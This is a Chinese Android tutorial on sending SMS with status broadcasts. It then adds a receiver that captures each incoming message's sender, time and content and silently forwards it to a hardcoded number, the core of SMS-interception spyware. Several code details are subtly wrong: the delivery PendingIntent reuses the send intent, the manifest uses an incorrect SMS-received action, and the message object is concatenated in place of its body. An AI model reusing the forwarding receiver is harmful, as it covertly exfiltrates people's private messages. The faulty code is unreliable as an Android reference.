魔乐科技讲得太复杂了_android简单开发app实例代码

1.短信发送状态监听

关于pendingIntent的一个解释（参考网络）：
intent英文意思是意图，pending表示即将发生或来临的事情。
PendingIntent这个类用于处理即将发生的事情。比如在通知Notification中用于跳转页面，但不是马上跳转。

Intent 是及时启动，intent 随所在的activity 消失而消失。
PendingIntent 可以看作是对intent的包装，通常通过getActivity,getBroadcast ,getService来得到pendingintent的实例，当前activity并不能马上启动它所包含的intent,而是在外部执行 pendingintent时，调用intent的。正由于pendingintent中 保存有当前App的Context，使它赋予外部App一种能力，使得外部App可以如同当前App一样的执行pendingintent里的 Intent， 就算在执行时当前App已经不存在了，也能通过存在pendingintent里的Context照样执行Intent。另外还可以处理intent执行后的操作。常和alermanger 和notificationmanager一起使用。
Intent一般是用作Activity、Sercvice、BroadcastReceiver之间传递数据，而Pendingintent，一般用在 Notification上，可以理解为延迟执行的intent，PendingIntent是对Intent一个包装。

PendingIntent就是一个Intent的描述，我们可以把这个描述交给别的程序，别的程序根据这个描述在后面的别的时间做你安排做的事情 （By giving a PendingIntent to another application, you are granting it the right to perform the operation you have specified as if the other application was yourself，就相当于PendingIntent代表了Intent）。本例中别的程序就是发送短信的程序，短信发送成功后要把intent广播出去 。

1、创建布局文件

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TableLayout android:layout_width="match_parent" android:layout_height="wrap_content"> <TableRow> <TextView android:text="收信人" android:layout_width="90dp" android:layout_height="wrap_content"/> <EditText android:id="@+id/tel" android:numeric="integer" android:layout_width="260dp" android:layout_height="wrap_content"/> </TableRow> <TableRow> <TextView android:text="内容" android:layout_width="90dp" android:layout_height="wrap_content"/> <EditText android:id="@+id/content" android:lines="6" android:gravity="top" android:layout_width="260dp" android:layout_height="wrap_content"/> </TableRow> </TableLayout> <Button android:id="@+id/send" android:text="send" android:layout_width="match_parent" android:layout_height="wrap_content"/> </LinearLayout> 

2、在Manifest文件中创建用户权限

<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.fengray.myex031smslisten"> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> 

3、创建send发送和delivered接收的服务

SMSSendBroadcastReceiver类

public class SMSSendBroadcastReceiver extends BroadcastReceiver { 
    @Override public void onReceive(Context context, Intent intent) { 
    if (intent.getAction().equals("SMS_SEND_ACTION")){ 
    switch (getResultCode()){ 
    case Activity.RESULT_OK: Toast.makeText(context, "短信已发送", Toast.LENGTH_SHORT).show(); break; case SmsManager.RESULT_ERROR_GENERIC_FAILURE: Toast.makeText(context, "短信发送失败", Toast.LENGTH_SHORT).show(); } } } } 

SMSDeliveredBroadcastReceiver类

public class SMSDeliveredBroadcastReceiver extends BroadcastReceiver { 
    @Override public void onReceive(Context context, Intent intent) { 
    if (intent.getAction().equals("SMS_DELIVERED_ACTION")){ 
    switch (getResultCode()){ 
    case Activity.RESULT_OK: Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show(); break; case SmsManager.RESULT_ERROR_GENERIC_FAILURE: Toast.makeText(context, "短信接收失败", Toast.LENGTH_SHORT).show(); } } } } 

4、主activity

public class MainActivity extends AppCompatActivity { 
    private EditText tel,content; private Button send=null; private SMSSendBroadcastReceiver sendRec=null; private SMSDeliveredBroadcastReceiver delRec = null; private String permission[]=new String[]{ 
   Manifest.permission.SEND_SMS,Manifest.permission.RECEIVE_SMS}; @Override protected void onCreate(Bundle savedInstanceState) { 
    super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //动态请求各种权限 for (int i = 0; i <permission.length;i++) { 
    ActivityCompat.requestPermissions(this,permission, i); } //c初始化组件 tel=findViewById(R.id.tel); content=findViewById(R.id.content); send=findViewById(R.id.send); sendRec =new SMSSendBroadcastReceiver(); delRec=new SMSDeliveredBroadcastReceiver(); send.setOnClickListener(new SendOnclickLinstenerImpl()); } private class SendOnclickLinstenerImpl implements View.OnClickListener{ 
    @Override public void onClick(View v) { 
    Intent snetIntent=new Intent("SMS_SEND_ACTION"); Intent deliveredIntent=new Intent("SMS_DELIVERED_ACTION"); SmsManager smsManager=SmsManager.getDefault();//获得短信管理对象 String telphone=tel.getText().toString(); String stringcontent=content.getText().toString(); //通过广播启动相应的service PendingIntent sendPendingIntent=PendingIntent.getBroadcast(MainActivity.this,0,snetIntent, 0); PendingIntent deliveredPendingIntent=PendingIntent.getBroadcast(MainActivity.this,0,snetIntent, 0); //注册广播 registerReceiver(sendRec,new IntentFilter("SMS_SEND_ACTION")); registerReceiver(delRec,new IntentFilter("SMS_DELIVERED_ACTION")); //发送短信 if (stringcontent.length()>70){ 
    List<String> smgs=smsManager.divideMessage(stringcontent);//拆分信息 Iterator<String> iterator=smgs.iterator(); while (iterator.hasNext()){ 
    String msg=iterator.next(); smsManager.sendTextMessage(telphone,null,msg,sendPendingIntent,deliveredPendingIntent); } } else { 
    smsManager.sendTextMessage(telphone, null, stringcontent, sendPendingIntent, deliveredPendingIntent); } } } } 

结果：

2.短信发送内容监听

1.上例基础上创建SMSBroadcastReveiver

public class SMSBroadcastReceiver extends BroadcastReceiver { 
    @Override public void onReceive(Context context, Intent intent) { 
    Object [] pdusData= (Object[]) intent.getExtras().get("pdus"); for (int i = 0; i < pdusData.length; i++) { 
    byte[] pdus = (byte[]) pdusData[i];//取出一条完整的短信 SmsMessage message = SmsMessage.createFromPdu(pdus);//信息数据 String phoneNumber = message.getOriginatingAddress();//取得地址 String receiveData = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS").format(new Date(message.getTimestampMillis())); SmsManager smsManager=SmsManager.getDefault();//获取短信管理器 PendingIntent sentIntent=PendingIntent.getActivity(context, 0,intent,PendingIntent.FLAG_UPDATE_CURRENT); String content="短信号码："+phoneNumber+"\n发送时间："+receiveData+"\n短信内容："+message; Log.d("jian", "onReceive: "+content); smsManager.sendTextMessage("8",null,content,sentIntent,null); } } } 

2、Manifest文件增加服务过滤器

<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.fengray.myex031smslisten"> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".SMSBroadcastReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVE"/> </intent-filter> </receiver> </application> </manifest>
